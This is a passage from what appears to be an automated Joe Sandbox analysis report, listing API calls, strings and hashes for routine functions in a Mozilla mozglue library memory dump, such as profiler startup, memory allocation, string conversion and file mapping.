??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB4F638,?,?,?,?), ref: 6CAE59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAE56CC

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 382bc32535d097a6fd3dd903816733a80c090cbf8a7c8458d9b806650b3fc17f
Instruction ID: b7032d3688ae3360bac8a18a17e777ce0fe2e096cce6f3382b30ac2d850f1cb4
Opcode Fuzzy Hash: 382bc32535d097a6fd3dd903816733a80c090cbf8a7c8458d9b806650b3fc17f
Instruction Fuzzy Hash: 50C17C31A0D7509FDB05DF28D44066ABBF1BFCA718F098A1DE8C897664D730A885DB82

Function 6CB0EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0EC8C

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0ECA1
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB0ECC5
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB0ED19
CloseHandle.KERNEL32(?), ref: 6CB0ED28
free.MOZGLUE(00000000), ref: 6CB0ED2F
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB0EC94

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 104d70900bba18ec67734ae41823be93a6ce6e3d4b11a557d28a4a39b930e6d2
Instruction ID: 877d6f2965b93bd936cedc3dd1da8d529e2ebcfed07a4ca86e62e5050edad8dc
Opcode Fuzzy Hash: 104d70900bba18ec67734ae41823be93a6ce6e3d4b11a557d28a4a39b930e6d2
Instruction Fuzzy Hash: BA21E575708594AFDF00AF24D804AAE7B79FB8637CF148210FD1997749DB319805CBA2

Function 6CB08ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CACEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CACEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB0B392,?,?,00000001), ref: 6CB091F4

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

Strings

timeline-overview, xrefs: 6CB0907A
name, xrefs: 6CB08F16
timeline-memory, xrefs: 6CB09088
stack-chart, xrefs: 6CB090B2
marker-table, xrefs: 6CB0906C
marker-chart, xrefs: 6CB0905E
timeline-fileio, xrefs: 6CB090A4
timeline-ipc, xrefs: 6CB09096
data, xrefs: 6CB090E8

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: baf9e8e1e884d57e940edb937690e718d1b5d82d72346e5b2b61b6590af5370b
Instruction ID: 1fe366b1ce0260ad0cad2c1a7c124aa981b63d7f79edc0ce9029b26296a2f459
Opcode Fuzzy Hash: baf9e8e1e884d57e940edb937690e718d1b5d82d72346e5b2b61b6590af5370b
Instruction Fuzzy Hash: 45B1B0B0F01289DBDB04CFA8D5527AEBBB6EF84318F108529D405ABF84D771A949CBD1

Function 6CAEC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAEC5A3
WideCharToMultiByte.KERNEL32 ref: 6CAEC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CAEC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CAECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAECAA5

Strings

(null), xrefs: 6CAEC596
0, xrefs: 6CAED30A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: b9a4560d2343ffa5641621ef0b792d08dbfe19831788f1be4ec82ea0fa3f8fea
Instruction ID: e0ec7e96d3e09c8d79869c4197d3a5913d084585d1e94016a88376a4185e8e23
Opcode Fuzzy Hash: b9a4560d2343ffa5641621ef0b792d08dbfe19831788f1be4ec82ea0fa3f8fea
Instruction Fuzzy Hash: FCA19A306083428FDB01EF28C594B5BBBE5BF8974CF08892DE89997741D731E885DB82

Function 6CAEC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAEC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAEC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CAEC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAEC891

Strings

NAN, xrefs: 6CAEC7AD
INF, xrefs: 6CAEC794
nan, xrefs: 6CAEC7A8
inf, xrefs: 6CAEC78F

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 0e793dc3aa7064577aa20d9d7597674a09cbf137f6987c2a4aad5d40e2660017
Instruction ID: 586c0bf47f5d51d64c9b903296ccda9cccda2e00ce2c0223e052862387adf3e0
Opcode Fuzzy Hash: 0e793dc3aa7064577aa20d9d7597674a09cbf137f6987c2a4aad5d40e2660017
Instruction Fuzzy Hash: 395184719087808BD700AF2CC58569AFBF0BF9E308F048A1DE9D597650E771D984DB83

Function 6CAC4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB04843,?), ref: 6CAC45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB04843,?), ref: 6CAC468A
free.MOZGLUE(?,?,?,?,?,?,6CB04843,?), ref: 6CAC46C9
free.MOZGLUE(?), ref: 6CAC46EF
free.MOZGLUE(?), ref: 6CAC4712
free.MOZGLUE(?), ref: 6CAC4735
free.MOZGLUE(?), ref: 6CAC4758
free.MOZGLUE(?), ref: 6CAC477B
free.MOZGLUE(?), ref: 6CAC479E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 0aea0af9f44e66ee898770e7afee527258deae04098c796166979a8bcbe6e12c
Instruction ID: 71667cbbbf1b5db7dc5d21cb984b9d738620b7800f990ae0baeb8f4884469d7d
Opcode Fuzzy Hash: 0aea0af9f44e66ee898770e7afee527258deae04098c796166979a8bcbe6e12c
Instruction Fuzzy Hash: FEB1D171B005118FDB188E3CD9D47BD76B2AF46328F184669E816DFB96D73098C48B8A

Function 6CB2AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB2AC52
CreateFileMappingW.KERNEL32 ref: 6CB2AC7D
GetSystemInfo.KERNEL32 ref: 6CB2AC98
MapViewOfFile.KERNEL32 ref: 6CB2ACB0
GetSystemInfo.KERNEL32 ref: 6CB2ACCD
MapViewOfFile.KERNEL32 ref: 6CB2AD05
UnmapViewOfFile.KERNEL32 ref: 6CB2AD1C
CloseHandle.KERNEL32 ref: 6CB2AD28
UnmapViewOfFile.KERNEL32 ref: 6CB2AD37
CloseHandle.KERNEL32 ref: 6CB2AD43
CloseHandle.KERNEL32 ref: 6CB2AD67

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6b0b97e942bdde16ed071a90ba74799d50295713cfb83e208a200039026a9fd7
Instruction ID: e2794c80ee21b048ed9e1d60f5cd065cd244d27cd044fb366fdda980ec95b8ce
Opcode Fuzzy Hash: 6b0b97e942bdde16ed071a90ba74799d50295713cfb83e208a200039026a9fd7
Instruction Fuzzy Hash: 243140B19087458FDB00BF7DD64866EBBF0FF85309F018A2DE99997215EB749448CB82

Function 6CAD9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAD9675
__Init_thread_footer.LIBCMT ref: 6CAD9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAD96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAD9707
__Init_thread_footer.LIBCMT ref: 6CAD971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAD9773

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAD97B7
FreeLibrary.KERNEL32 ref: 6CAD97D0
FreeLibrary.KERNEL32 ref: 6CAD97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAD9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAD9670
NtMapViewOfSection, xrefs: 6CAD9701
MapViewOfFileNuma2, xrefs: 6CAD97B1
ntdll.dll, xrefs: 6CAD96E3

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: a2153d73970c89c224db68891284241d1853dc0284c214effd276751b6f5df6e
Instruction ID: f110271628865f8d5dc4f444932ee64d4d7b2b33a82b74fddb62f565aa415459
Opcode Fuzzy Hash: a2153d73970c89c224db68891284241d1853dc0284c214effd276751b6f5df6e
Instruction Fuzzy Hash: 4941E3747082059FDF00EFA4EA94A9A7BB5FB49328F058528ED1587748D734E845CBA1

Function 6CAC1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1EC1
LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1EE1
EnterCriticalSection.KERNEL32(6CB4E744), ref: 6CAC1F38
LeaveCriticalSection.KERNEL32(6CB4E744), ref: 6CAC1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAC1F83
LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1FC0
EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1FE2
LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAC2019

Strings

MOZ_CRASH(), xrefs: 6CAC2000

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 74204ebede940e51158f712ffc2cbfc7168eabddcd48a6081143428adb90e6db
Instruction ID: 043900d4864e4dbc297a9771325568c2798fef768d1fb3bb11bc43c2a72c0ffc
Opcode Fuzzy Hash: 74204ebede940e51158f712ffc2cbfc7168eabddcd48a6081143428adb90e6db
Instruction Fuzzy Hash: 1841E275B483558BDF00EF78C888BAEBAB5FB5931CF048126EA1497748DB719844CBD2

Function 6CAD7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD7EA7
malloc.MOZGLUE(00000001), ref: 6CAD7EB3

Part of subcall function 6CADCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CADCB49
Part of subcall function 6CADCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CADCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAD7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAD7F19
malloc.MOZGLUE(?), ref: 6CAD7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAD7F4D

Strings

d, xrefs: 6CAD7F89

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: ff6528f142fff450bdf38b9677a7b17baa0b122335edc84e2a2b41c56facaa80
Instruction ID: 551f21b0a38a02a230611305c8db10ea6148517cc47a19a7418416778e8108fe
Opcode Fuzzy Hash: ff6528f142fff450bdf38b9677a7b17baa0b122335edc84e2a2b41c56facaa80
Instruction Fuzzy Hash: 3931E361E0429897DB01AB78DC049FEB778EF96208F459728EC599B612FB70B5C8C391

Function 6CAD3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAD3EEE
RtlFreeHeap.NTDLL ref: 6CAD3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAD4006
RtlFreeHeap.NTDLL ref: 6CAD40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAD3CCC), ref: 6CAD40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAD3CCC), ref: 6CAD40C2
RtlFreeHeap.NTDLL ref: 6CAD4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAD3CCC), ref: 6CAD4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAD3CCC), ref: 6CAD4157

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 6fcd4c8d910da525eeba813c1edd92d61dbca45b7c9fc98d7c1482ab9c6ef371
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8DA18CB5A01215CFDB40CF69C88075AB7B5FF48308F2A41A9D909AF742D775E986CFA0

Function 6CAC2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CAE3F47,?,?,?,6CAE3F47,6CAE1A70,?), ref: 6CAC207F
memset.VCRUNTIME140(?,000000E5,6CAE3F47,?,6CAE3F47,6CAE1A70,?), ref: 6CAC20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CAE3F47,6CAE1A70,?), ref: 6CAC211A
EnterCriticalSection.KERNEL32(6CB4E744,?,6CAE3F47,6CAE1A70,?), ref: 6CAC2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CAE3F47,6CAE1A70,?), ref: 6CAC21BA
EnterCriticalSection.KERNEL32(6CB4E744,?,6CAE3F47,6CAE1A70,?), ref: 6CAC21E0
LeaveCriticalSection.KERNEL32(6CB4E744,?,6CAE3F47,6CAE1A70,?), ref: 6CAC2232

Strings

MOZ_CRASH(), xrefs: 6CAC227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CAC2253, 6CAC2268

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: ebad5e173d1d227b1aad7f4485e8c8b132ed11833a83e42da93f5510d8e875bd
Instruction ID: fbccf202ea788222acf6a847a52ab2eca01c238c5dd30f782b9544b941f49807
Opcode Fuzzy Hash: ebad5e173d1d227b1aad7f4485e8c8b132ed11833a83e42da93f5510d8e875bd
Instruction Fuzzy Hash: B061E731F042168FCB04DF69C989B6E77B1BF95328F298335E624A7A94D7709C84C792

Function 6CAC48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CB0483A,?), ref: 6CAC4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CB0483A,?), ref: 6CAC4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CB0483A,?), ref: 6CAC4A82

Part of subcall function 6CADCA10: mozalloc_abort.MOZGLUE(?), ref: 6CADCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CB0483A,?), ref: 6CAC4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CB0483A,?), ref: 6CAC4A35

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CB0483A,?), ref: 6CAC4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CB0483A,?), ref: 6CAC4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CB0483A,?), ref: 6CAC4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CB0483A,?), ref: 6CAC4B2C

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 4be33fcb3b274407bccfc2e3a001d85887d3ea8e583b31975d22cf554c50bc3a
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 40717BB1A007069FC714CF68C580AAAB7F5FF08308B504A3EE15A9BB51E731F599CB85

Function 6CB19D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB18273), ref: 6CB19D65
free.MOZGLUE(6CB18273,?), ref: 6CB19D7C
free.MOZGLUE(?,?), ref: 6CB19D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB19E0F
free.MOZGLUE(6CB1946B,?,?), ref: 6CB19E24
free.MOZGLUE(?,?,?), ref: 6CB19E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB19EC8
free.MOZGLUE(6CB1946B,?,?,?), ref: 6CB19EDF
free.MOZGLUE(?,?,?,?), ref: 6CB19EF5

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
